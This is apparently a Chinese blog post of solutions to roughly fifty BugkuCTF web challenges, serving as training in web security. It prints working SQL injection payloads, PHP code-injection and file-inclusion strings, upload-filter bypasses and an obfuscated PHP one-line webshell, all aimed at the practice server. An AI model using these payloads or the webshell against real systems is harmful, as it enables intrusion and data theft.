WEB所有题目-BugkuCTF平台

1、web2

这题查看源代码即可,在url前加上 view-source:  。或者按F12也行。

2、计算器

这个输入框只能输入一位数字,把它改大即可。任何的前端限制都是不安全的。按F12, 用选区器选取文本框,在maxlength那个把1改大,然后就能正常输入了。

Alt

3、web基础$_GET

?参数=值。多个参数用 ?参数1=1&参数2=2。
payload:http://123.206.87.240:8002/get/?what=flag 

昶

4、web基础$_POST

POST请求没办法写在url里,需要用hackbar修改,直接在框里填就行。

昶

5、矛盾

num不能为数字,但是为数字1就能flag,由于num==1的判定是两个等号,这是弱类型比较,如果等号两边类型不同,会转换成相同类型再比较。
与之对应的是强类型比较,用的是三个等号===,如果类型不同就直接不相等了。
在弱类型比较下,当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0

Alt

6、web3

由于直接访问网址就弹窗,直接对URL进行修改,在最前面加上“view-source:”,能看到一串编码,使用工具解码即可。
也可以在访问网址时用Burp进行抓包处理。

昶
昶

7、域名解析

在本机host文件里添加解析规则。Windows是改C:\Windows\System32\drivers\etc里的host。加入一行:
123.206.87.240  flag.baidu.com

8、你必须让他停下

用Burp抓包后发给Reperter,然后一直点击“Go”直到出现flag,多点几次即可。

昶

9、本地包含

目前网址不能访问。借鉴网络。
eval存在命令执行漏洞,使用hello构造payload。
1、payload:?hello=1);show_source('flag.php');var_dump(2    //1)闭合前面的var_dump(,后使用show_source()查看flag。
2、payload:?hello=1);include $_POST['a'];    //然后POST区域写一个 a=php://filter/convert.base64-encode/resource=flag.php。
3、payload:?hello=get_file_contents('flag.php') 、 ?hello=file('flag.php')    //这是直接将flag.php文件读入hello中。

10、变量1

flag In the variable ! <?php

error_reporting(0);                         //关闭php错误显示
include "flag1.php";                        //引入flag1.php文件代码
highlight_file(__file__);                   //对文件进行语法高亮显示
if(isset($_GET['args'])){                   //条件判断get方法传递的args参数是否存在
    $args = $_GET['args'];                  //赋值给变量  $args
    if(!preg_match("/^\w+$/",$args)){       //从/^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
        die("args error!");                 //输出 args error!
    }
    eval("var_dump($$args);");              //将字符串作为php代码执行,结尾加分号;var_dump()函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。$$args可以理解为$($args)
}
?>
$$args可变变量,PHP在名为 $GLOBALS[index] 的数组中存储了所有全局变量。

昶

11、web5

查看网页源代码,获得一长串由“()[]!+”组成的东西,又有提示“JSPFUCK”,将这一长串东西放入Chrome的控制台Console中。然后全部转为大写即“CTF{WHATFK}”。

昶

12、头等舱

开启Burp抓包,使用Ctrl+R发送到Repeater,直接点击“Go”即可得到答案。

昶

13、网站被黑

先用御剑扫描到shell.php,再用Burp抓包,按Ctrl+I发往Intruder,然后选择字典爆破得到密码“hack”,输入后点击登录即可得到flag。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

14、管理员系统

按F12查看网页源代码,Base64解密得test123,猜测是密码,用户名猜测是admin。尝试登录发现说IP禁止访问,需联系本地管理员,所以用Burp抓包后加一句转发给本地的X-Forwarded-For:127.0.0.1,即可得到flag。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

15、web4

提示查看源代码,将源代码里的东西翻译一下即可。

在这里插入图片描述
在这里插入图片描述

16、flag在index里

经典的本地文件包含漏洞+PHP伪协议的结合应用。
index.php?file=php://filter/read=convert.base64-encode/resource=index.php。
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,是因为源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。
源码中存在对 ../ tp data input 的过滤,其实这都是php://协议中的其他方法,都可以结合文件包含漏洞执行。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

17、输入密码查看flag

5位数密码,先生成5位数的全数字字典,然后在Burp爆破即可。

在这里插入图片描述
在这里插入图片描述

18、点击一百万次

目前网址不能访问。借鉴网络。
查看源代码发现了一个clicks变量,当它为1000000就能得到flag。
1、直接F12,选择控制台 输入clicks=1000000,回车后点击网站图案得到flag。
2、在hackbar下POST区域提交clicks=1000000,得到flag。

19、备份是个好习惯

题目提示备份,想到在网址后加index.php.bak,下载得到源码分析后构造payload得到flag。

parse_str的用法:
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
// 推荐用法
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz
// 不建议这么用
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

在这里插入图片描述
在这里插入图片描述

20、成绩单

输入123分别能查到123号学生的成绩,明显是SQL注入。
输入1'返回异常,输入 1'--+ 返回异常,输入 1'# 或者 1'-- + 返回正常,看来过滤了--+
输入 1' order by 4# 正常,输入 1' order by 5# 报错。
输入 -1' union select 1,2,3,4# 查看回显位
输入 -1' union select 1,database(),3,4# 查看当前数据库得到skctf_flag
输入 -1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag'# 查看表名得到fl4g,sc
输入 -1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g'# 查看列名得到skctf_flag
输入 -1' union select 1,group_concat(skctf_flag),3,4 from fl4g# 查看得到最终flag

21、秋名山老司机

获取网页里的内容并运算,写一个python脚本跑一下即可。

python脚本如下:
import re
import requests
url = 'http://123.206.87.240:8002/qiumingshan/'
session = requests.session()
s = re.findall('<div>([0-9+*-]*)?',session.get(url).text)
print("s的值:",s)
print("s[0]的值:",s[0])
d = eval(s[0])
#由于一开始网页源代码并没有给往什么值去传,先设为空看看结果
#value = {"":d}
#运行后提示往“value”里做post处理
value = {"value":d}
f = session.post(url,value)
print("\n",f.text)

在这里插入图片描述

22、速度要快

Burp抓包后提示post给“margin”,写Python脚本即可。

在这里插入图片描述
在这里插入图片描述

23、cookies欺骗

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
打开链接,一串无意义的字符串,发现网址处的“filename=a2V5cy50eHQ=”可以base64解码为key.txt。
尝试将“index.php”进行base64编码后放入,调整line值发现一行一行的代码浮现,直接写脚本跑出index.php。
发现有一个叫key.php的文件,需要有cookie,margin=margin的时候,$file_list这个列表就会有key.php,尝试访问一下竟然为空,F12查看一下发现注释了flag。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

24、never give up

打开链接,查看源代码,有一行注释<!--1p.html-->,访问发现重定向到其他页面,Burp抓包后解码得到PHP代码。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

变量 $id 弱等于整型数 0
变量 $b 的长度大于5,字符串 1114 要与字符串 111 连接$b的第一个字符构成的正则表达式匹配,$b的第一个字符弱不等于整型数4。
变量 $data 弱等于字符串 bugku is a nice plateform!

1$id弱等于0,“ $id=. | $id=? | $id=* | $id="" | $id="字符串都可以" | $id=0e开头的任意东西 ”。
php认定0e开头的 == 0, php://input 绕过file_get_contents, 星号或问号或.点号绕过正则表达式的匹配

2、源码中变量 $data 是由 file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。
在服务器中自定义一个内容为 bugku is a nice plateform! 文件,再把此文件路径赋值给 $a,显然不太靠谱。
因此这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。
这里令 $a=php://input,并在请求主体中提交字符串 bugku is a nice plateform!。

3eregi() 截断漏洞,ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。源码中待匹配字符串(第二个参数)已确定为 "1114",正则表达式(第一个参数)由 "111" 连接 $b 的第一个字符组成,若令 substr($b,0,1) = "\x00",即满足 "1114""111"匹配。因此,这里假设 $b = "\x0012345",才能满足条件,因为$b长度要大于5。在构造变量 b 中的空字符时,过早将空字符 \x00 放入,在提交请求时导致请求头截断,继而请求失败,得不到响应。因为 b 是 URL 查询字符串中的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00。注意,虽然 b=%0012345 实际字符串长度为 8 字节,但在后台脚本读入数据时,会将 URL 编码 %00 转换成 1 字节。所以说,空字符应该在后台脚本的变量中出现,而不是在 URL 查询字符串变量中出现。

在这里插入图片描述

25、welcome to bugkuctf

目前网址不能访问。借鉴网络。
类似于第24题,使用php://input,然后POST传入“welcome to the bugkuctf”。满足条件就执行了include($file),即将hint.php给包含了。使用php://filter来读取hint.php的内容。
此时payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php。得到hint.php的Base64编码后的内容,解码即可。然后相同方式去得到index.php。

index.php表明,传入的file文件名中不能带有'flag',然后就将file文件包含进来,之后反序列化password并输出。而hint.php则是定义了一个FLAG类,类里有$file属性,并且有一个魔术方法__tostring(),这个方法的好处是当调用实例化对象时会自动执行此方法,作用是$file属性有赋值就将这个文件内容输出成字符串。
我们可以让$passwordFLAG类型,并且让FLAG中的$file就等于flag.php,这样就可以得到flag.php的内容了,当然得先序列化。写脚本得到序列化结果 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} ,传入得到结果。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

26、过狗一句话

目前网址不能访问。借鉴网络。
<?php
    $poc="a#s#s#e#r#t";
    $poc_1=explode("#",$poc);
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_GET['s'])
?>

1、s=print_r(scandir('./'))           然后读取fl4g.txt
2、s=print_r(glob("*.*"))             然后读取show_source("fl4g.txt")
3、使用file_get_contents("flag.txt")  读取文件
eg: 还有system('ls')的读取方法但是这里应该没有权限.

构造payload:?s=print_r(glob('*.txt')) 访问即可。

27、字符?正则?

访问网址,显示php代码。
.*           匹配 0个或多个字符
.{4,7}       匹配 47个任意字符
\/.\/        匹配 /任意一个字符/
[a-z]        匹配 a到z的任意字符
[[:punct:]]  匹配 任何标点符号
i            标记指定不区分大小写 
构造payload:?id=key1key1234key:/1/1keya. 

在这里插入图片描述
在这里插入图片描述

28、前女友(SKCTF)

目前网址不能访问。借鉴网络。
v1和v2弱比较相等,使用md5的0e开头的就行,md5不能处理数组,传数组也行。strcmp里的v3和flag字符串比较相等时值为0,但是strcmp出错时也等于0,遇到数组会出错。
构造payload:?v1[]=1&v2[]=2&v3[]=3?v1=QNKCDZO&v2=240610708&v3[]=3    //QNKCDZO和240610708的md5都是0e开头的。

在这里插入图片描述

29、login1(SKCTF)

目前网址不能访问。借鉴网络。
考察点:SQL约束攻击
随机注册账号后登录提示“不是管理员还想看flag?!”,那就注册admin(后跟贼多个空格),密码随便设。然后使用用户名“admin”和密码自己设的登录即可查看原属于admin的信息,即可得到flag。

30、你从哪里来

访问后出现“are you from google?”,问来自与,想到Header信息里的Referer,作用是告诉服务器我是从那个页面链接过来的。
Burp抓包后加上Referer即可。

在这里插入图片描述

31、md5 collision(NUPT_CTF)

访问网址,要我们输入a,使用 ?a=1 后返回false!!!。结合题目提示的md5碰撞,想到0e开头的md5。
注意:QNKCDZO也是0e开头,但这个不能用。

在这里插入图片描述

32、程序员本地网站

访问网址后显示“请从本地访问!”,想到伪造请求头,Header头信息里的X-Forwarded-For

在这里插入图片描述

33、各种绕过

uname的sha1和值与passwd的sha1的值相等即可,但同时他们两个的值又不能相等,只要构造数组就可以了。

在这里插入图片描述

34、web8

访问网址后发现是代码审计,$ac$f相等,$f读取$fn文件里的内容,根据题目提示“txt???”,想到flag.txt,访问发现是"flags"。将$fn指向flag.txt,$ac=flags即可得到flag。

在这里插入图片描述
在这里插入图片描述

35、细心

题目提示想办法变成admin。访问网址后有一行“No such file or directory.”,想到用御剑去扫描一下得到一个robots.txt文件。访问后得到resusl.php,传x=admin即可得到flag。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

36、求getshell

一共三个过滤
* 请求头部的 Content-Type,大小写绕过
* 文件后缀
* 请求数据的Content-Type

这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写),这里php5可以绕过。

在这里插入图片描述

37、INSERT INTO注入

题目给了源码。在请求中的X-Forwarded-For字段可以进行注入,但逗号被过滤了。用时间盲注,脚本不放了。

在这里插入图片描述

38、这是一个神奇的登录框

目前网址不能访问。借鉴网络。
一开始尝试随机输入后提示“Try Again!”。寻找注入点,输入 1' 不报错,输入 1" 报错。然后order by得出有两列。最后就是常规的爆库、表、列和字段名了。

39、多次

1、尝试加单引号报错,用“--+ ”注释后不报错。之后使用or 1=1 时竟然直接又报错了,可能存在过滤。使用异或注入判断哪些被过滤了。
?id=1'^(length('union')!=0) 
当union被过滤时1^0 输出id=1;当union没被过滤时 1 ^ 1 输出 id=0,回显 error,即没过滤才报错。
测试出被过滤的字符串有:and,or,union,select。
尝试使用双写绕过,oorr 1=1 正常回显,不过不知道为什么这里没法使用order by,就算双写了还是报错。
之后就双写union、select来爆表、列和字段名(注意information也带有or)。
注入过程:
?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+    //爆表名得到flag1,hint
?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+    //爆列名得到flag1,address
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+    //得到usOwycTju+FTUUzXosjr
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+    //得到一个下一关地址链接

2、同样的单引号报错,用“--+ ”注释后不报错。使用or 1=1 时不报错。order by得出有两列。过滤了union,且无法双写绕过。常规失去了注入不起效,尝试使用xpath函数报错注入,以下两个都可以。
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))
?id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)
注入过程:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+     //得到web1002-2
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e))--+     //得到class,flag2
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e))--+     //得到flag2,address
?id=1' and extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e))--+    //得到flag{Bugku-sql_6s-2i-4t-bug},结合题目全小写即可得到最终flag。

40、PHP_encrypt_1(ISCCCTF)

题目附带压缩包解压后得到index.php,主要是加密用的,写一个解密脚本就好了。

在这里插入图片描述
在这里插入图片描述

41、文件包含2

目前网址不能访问。借鉴网络。
查看源码发现注释文件upload.php,访问后到文件上传页面。
方法1、新建一个txt文件写入 <script language=php>system("ls")</script> 后另存为jpg格式,能上传成功,访问得到txt文件,再访问这个txt文件即可得到flag。
方法2、普通一句话会被过滤,这里构造<script language=php>eval($_POST['pass']);</script> 后另存为jpg格式,能上传成功。然后菜刀连接,具体自己没操作过,行不行不得而知。

在这里插入图片描述
在这里插入图片描述

42、flag.php

访问后点击login没反应,查看源代码发现login是button组件,不是submit,而且<form>里的action为#,根本不知道下一步干什么。想到题目给的提示是“hint”,把hint当作参数访问后得到源代码。代码意思是cookie一个参数“ISecer”,将其反序列化跟KEY值相等即可,但在比较时$KEY还未定义,所以那个时候的$KEY不为'ISecer:www.isecer.com'。
那我们就先序列化一下再cookie传入即可。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

43、sql注入2

方法1、这道题是DS_Store源码泄露,跑一下就出来了,自动生成了一个文件夹“123.206.87.240_8007”,打开找到flag文件即可得到答案。

在这里插入图片描述

方法2、利用字符串与数字做运算时,字符串会转为数字再做运算,例如"abc"=""=0"12ab"=12>11,可看下图示例,若是username=0-1=-1时就会报错,但username=0-0=0时是不会报错的,会回显相应的信息。这样我们就能利用 admin'-0-' 来构造payload。因为源代码类似于 select * from xxx where username='输入处'; 所以 admin'-0-' 输入后就相当于username='admin'-0-'',也就是字符串与数字的运算问题了。
首先使用异或注入(不详自行百度)判断哪些被过滤了,手工测太麻烦,在Burp下跑字典(字典里面就是常用的sql关键词),发现题目给的“提示 !,!=,=,+,-,^,%”这些都是没有被过滤的,而像“union,or,and,for,information,逗号,空格”等都被过滤了。

在这里插入图片描述
在这里插入图片描述

由于information都被过滤了,就不能使用information_schema来爆表、爆列了。这时想到源代码的uname、passwd,猜测就是最后的字段名。由于uname=admin已经确定,那么写脚本异或注入一下得出passwd的长度为32,猜测是md5加密后的值,那就一位位爆出来。

在这里插入图片描述
在这里插入图片描述

发现“ascii(),substr(),mid()”都没有被过滤,substr(database(),1,2)=substr(database() from 1 for 2),但由于for、逗号、空格被过滤,这里考虑使用substr()mid()也完全一样。
说明原理:若passwd=abc123,
substr((passwd)from(1))='abc123',substr((passwd)from(2))='bc123'
比较ascii值:ascii(substr((passwd)from(2)))=98    //只比较字符串得第一位,98即b得ascii值
当表达式为真时,返回“username error!!@_@”;当表达式为假时,返回“password error!!@_@”。
写脚本跑一下即可。“0192023a7bbd73250516f069df18b500”这串字符取md5解密一下得到“admin123”。
使用用户名“admin”和密码“admin123”登录后输入ls执行即可得到flag。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

44、孙xx的博客

不会。

45、Trim的日记本

直接御剑扫描到一个show.php,访问即可得到flag。

在这里插入图片描述
在这里插入图片描述

46、login2(SKCTF)

目前网址不能访问,没写。

47、login3(SKCTF)

目前网址不能访问,没写。

48、文件上传2(湖湘杯)

目前网址不能访问,没写。

49、江湖魔头

尝试了很多不知道怎么做,Burp抓到的Cookie的内容Base64也解不出,只知道要购买如来神掌去讨伐老魔,但银两来的太慢了。后来百度才有了解题思路。

脑洞,网址删掉后面的?action内容,只保留wulin.php,查看源代码得到几个js文件。

在这里插入图片描述

script.js的部分内容如下。需要先js解密,推荐网址 https://tool.lu/js/ 进行解密。

在这里插入图片描述

先按照上图红框代码内容执行一下
在这里插入图片描述

Cookie里的内容按照所给解密方式解密得到一串明文。这里就可以修改money属性要很多的钱。
原内容:O:5:"human":10:{s:8:"xueliang";i:863;s:5:"neili";i:875;s:5:"lidao";i:67;s:6:"dingli";i:86;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}
修改后:O:5:"human":10:{s:8:"xueliang";i:863;s:5:"neili";i:875;s:5:"lidao";i:67;s:6:"dingli";i:86;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:999999;s:4:"flag";s:1:"0";}
之后要逆着加密内容然后传回给Cookie即可完成修改金币。
特别要注意并不是简单的逆回去就好了,base64.js里有坑。
base64.js里是一个Base64函数,里面有两个公有方法encode()和decode(),两个私有方法_utf8_encode()和_utf8_decode()恶心的是encode()里使用了_utf8_encode(),而decode()里没有使用_utf8_decode()

在这里插入图片描述

开始逆运算。仔细看script.js里的decode_create()方法。如下蓝框所示,我们相当于现在知道了result3,要求出result。求出result后需要对其使用base64.js里的encode()方法,但是不能调用_utf8_encode()这个私有方法。因为之前解密的时候使用base64.js里的decode()方法里将_utf8_decode()注释掉了。

在这里插入图片描述

逆运算蓝框所示内容,代码如下:
result3= "O:5:"human":10:{s:8:"xueliang";i:863;s:5:"neili";i:875;s:5:"lidao";i:67;s:6:"dingli";i:86;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:999999;s:4:"flag";s:1:"0";}"
result = ""
for (i = 0; i < result3.length; i++) {
    var num = result3[i].charCodeAt();
    num = num + ((i % 10) + 2);
    num = num ^ i;
    result += String.fromCharCode(num)
}

在这里插入图片描述

之后就需要按照base64.js里的encode()内容来加密,但是不能调用_utf8_encode()这个私有方法。
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = result;
while (i < input.length) {
    chr1 = input.charCodeAt(i++);
    chr2 = input.charCodeAt(i++);
    chr3 = input.charCodeAt(i++);
    enc1 = chr1 >> 2;
    enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
    enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
    enc4 = chr3 & 63;
    if (isNaN(chr2)) {
        enc3 = enc4 = 64;
    } else if (isNaN(chr3)) {
        enc4 = 64;
    }
    output = output +
    _keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
    _keyStr.charAt(enc3) + _keyStr.charAt(enc4);
}
return output;

在这里插入图片描述
在这里插入图片描述

接着看script.js里的decode_create()方法。我们现在只需要进行encodeURIComponent()方法,然后再传入Cookie中即可。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

之后就是花钱到商店里买完所有的技能学会如来神掌,再到讨伐页面讨伐老魔就能得到flag。

在这里插入图片描述

50、login4

目前网址不能访问,没写。

转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105060922

发布了16 篇原创文章 · 获赞 2 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/hiahiachang/article/details/105060922
今日推荐